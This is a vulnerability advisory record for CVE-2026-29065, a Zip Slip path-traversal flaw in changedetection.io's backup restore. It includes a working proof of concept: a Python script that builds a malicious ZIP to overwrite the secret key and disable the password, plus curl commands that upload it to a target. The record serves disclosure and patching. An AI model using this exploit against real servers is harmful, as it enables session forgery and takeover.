{"id":"CVE-2026-29065","aliases":["GHSA-25g8-2mcf-fcx9","PYSEC-2026-2129"],"title":"changedetection.io has Zip Slip vulnerability in the backup restore functionality","summary":"changedetection.io has Zip Slip vulnerability in the backup restore functionality","severity":"high","vendor":"changedetection-io","product":"changedetection-io","ecosystem":"pip","affected":["changedetection-io < 0.54.4"],"patched":["changedetection-io 0.54.4"],"published":"2026-03-04","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-25g8-2mcf-fcx9","references":[{"url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29065"},{"url":"https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"},{"url":"https://github.com/dgtlmoon/changedetection.io"},{"url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"}],"tags":["osv","pip"],"epss":0.00527,"epssPercentile":0.43394,"ingestedAt":"2026-07-13T18:57:51.141Z","slug":"CVE-2026-29065","body":"## Overview\n\n### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />\n\n## Affected packages\n\n- `changedetection-io < 0.54.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `changedetection-io 0.54.4`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}